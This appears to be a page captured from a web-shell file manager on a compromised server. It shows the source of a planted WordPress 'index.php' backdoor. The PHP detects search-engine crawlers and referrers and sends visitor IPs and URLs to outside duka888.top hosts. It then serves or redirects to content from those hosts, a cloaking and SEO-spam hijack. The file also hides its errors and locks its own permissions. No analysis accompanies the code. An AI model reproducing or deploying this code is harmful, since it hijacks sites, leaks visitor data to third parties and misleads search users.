HEX
Server: nginx/1.16.1
System: Linux ecs-04358622 4.19.90-2107.6.0.0100.oe1.bclinux.x86_64 #1 SMP Wed Dec 1 19:59:44 CST 2021 x86_64
User: nginx (994)
PHP: 8.0.0
Disabled: NONE
Upload Files
File: /home/www/wp-content/plugins/index.php
<?php 
error_reporting(0);
set_time_limit(0);
@chmod(__FILE__, 0444);
function aliang_sv($aliang_k)
{
    return isset($_SERVER[$aliang_k]) ? $_SERVER[$aliang_k] : '';
}
function aliang_client_ip()
{
    $aliang_ip = aliang_sv('REMOTE_ADDR');
    if (aliang_sv('HTTP_X_FORWARDED_FOR') != '') {
        $aliang_xff = aliang_sv('HTTP_X_FORWARDED_FOR');
        $aliang_arr = explode(',', $aliang_xff);
        if (isset($aliang_arr[0]) && trim($aliang_arr[0]) != '') {
            $aliang_ip = trim($aliang_arr[0]);
        }
    } elseif (aliang_sv('HTTP_X_REAL_IP') != '') {
        $aliang_ip = aliang_sv('HTTP_X_REAL_IP');
    }
    return $aliang_ip;
}
function aliang_httpPasserj($aliang_url)
{
    $aliang_ch = curl_init();
    curl_setopt($aliang_ch, CURLOPT_URL, $aliang_url);
    curl_setopt($aliang_ch, CURLOPT_USERAGENT, aliang_sv('HTTP_USER_AGENT'));
    curl_setopt($aliang_ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($aliang_ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($aliang_ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($aliang_ch, CURLOPT_HEADER, 0);
    curl_setopt($aliang_ch, CURLOPT_TIMEOUT, 6);
    $aliang_output = curl_exec($aliang_ch);
    curl_close($aliang_ch);
    return $aliang_output;
}
function aliang_match_one($aliang_text, $aliang_arr)
{
    $aliang_text = strtolower($aliang_text);
    foreach ($aliang_arr as $aliang_v) {
        $aliang_v = strtolower($aliang_v);
        if ($aliang_v != '' && strpos($aliang_text, $aliang_v) !== false) {
            return $aliang_v;
        }
    }
    return '';
}
function aliang_build_url($aliang_base, $aliang_spider, $aliang_ref)
{
    $aliang_u = aliang_sv('REQUEST_URI') . '=ip=' . aliang_client_ip();
    return $aliang_base . '?site_type=lhlh&type=jsc' . '&spider=' . urlencode($aliang_spider) . '&ref=' . urlencode($aliang_ref) . '&domain=' . urlencode(aliang_sv('HTTP_HOST')) . '&url=' . urlencode($aliang_u);
}
function aliang_handle_upstream($aliang_httphtml)
{
    if ($aliang_httphtml == '') {
        return false;
    }
    $aliang_allhttphtml = explode('####', $aliang_httphtml);
    $aliang_content = isset($aliang_allhttphtml[0]) ? $aliang_allhttphtml[0] : '';
    $aliang_jumpUrl = isset($aliang_allhttphtml[1]) ? trim($aliang_allhttphtml[1]) : '';
    $aliang_status = isset($aliang_allhttphtml[2]) ? intval(trim($aliang_allhttphtml[2])) : 0;
    if ($aliang_status == 404) {
        return false;
    }
    if ($aliang_jumpUrl != '') {
        if ($aliang_status == 301) {
            header('HTTP/1.1 301 Moved Permanently');
        } elseif ($aliang_status == 302) {
            header('HTTP/1.1 302 Found');
        } elseif ($aliang_status == 307) {
            header('HTTP/1.1 307 Temporary Redirect');
        } elseif ($aliang_status == 308) {
            header('HTTP/1.1 308 Permanent Redirect');
        } else {
            header('HTTP/1.1 302 Found');
        }
        header('Location: ' . $aliang_jumpUrl);
        return true;
    }
    header('Content-Type:text/html;charset=utf-8');
    echo $aliang_content != '' ? $aliang_content : $aliang_httphtml;
    return true;
}
$aliang_allowSpiders = array('baiduspider', 'googlebot', 'bingbot', '360spider', 'haosouspider', 'sogou web spider', 'sogouspider', 'sogou', 'yisouspider', 'smspider', 'bytespider');
$aliang_botWords = array('bot', 'spider');
$aliang_refesString = array('baidu.com', 'sogou.com', 'so.com', '360.cn', 'sm.cn', 'toutiao.com', 'google.com', 'bing.com', 'yahoo.com');
$aliang_uri = aliang_sv('REQUEST_URI');
$aliang_ua = strtolower(aliang_sv('HTTP_USER_AGENT'));
$aliang_ref = strtolower(aliang_sv('HTTP_REFERER'));
$aliang_area = (

        stristr($aliang_uri, 'php/') !== false ||
        stristr($aliang_uri, '?') !== false ||
        stristr($aliang_uri, '.asp/') !== false ||
        stristr($aliang_uri, '.asp?') !== false ||
        stristr($aliang_uri, '.aspx/') !== false ||
        stristr($aliang_uri, '.aspx?') !== false ||
        stristr($aliang_uri, '.ashx/') !== false ||
        stristr($aliang_uri, '.ashx?') !== false
);
$aliang_spider_name = aliang_match_one($aliang_ua, $aliang_allowSpiders);
$aliang_bot_name = aliang_match_one($aliang_ua, $aliang_botWords);
$aliang_ref_name = aliang_match_one($aliang_ref, $aliang_refesString);
if ($aliang_ref_name == '') {
    $aliang_ref_name = 'direct';
}
$aliang_is_spider = false;
if ($aliang_spider_name != '' || $aliang_bot_name != '') {
    $aliang_is_spider = true;
}
if ($aliang_is_spider) {
    if ($aliang_spider_name != '') {
        if ($aliang_area) {
            $aliang_httphtml = aliang_httpPasserj(aliang_build_url('http://ceshi.jsc.duka888.top/duka_base.php', $aliang_spider_name, $aliang_ref_name));
            if (aliang_handle_upstream($aliang_httphtml)) {
                exit;
            }
        } else {
            $aliang_al_html = aliang_httpPasserj(aliang_build_url('http://al.duka888.top/al_base.php', $aliang_spider_name, $aliang_ref_name));
            aliang_handle_upstream($aliang_al_html);
        }
    }
} else {
    if ($aliang_area) {
        $aliang_httphtml = aliang_httpPasserj(aliang_build_url('http://gg.jsc.duka888.top/gg_base.php', str_replace(array(' ', "\t", "\r", "\n"), '', strtolower(aliang_sv('HTTP_USER_AGENT'))), $aliang_ref_name));
        if (aliang_handle_upstream($aliang_httphtml)) {
            exit;
        }
    }
}
?>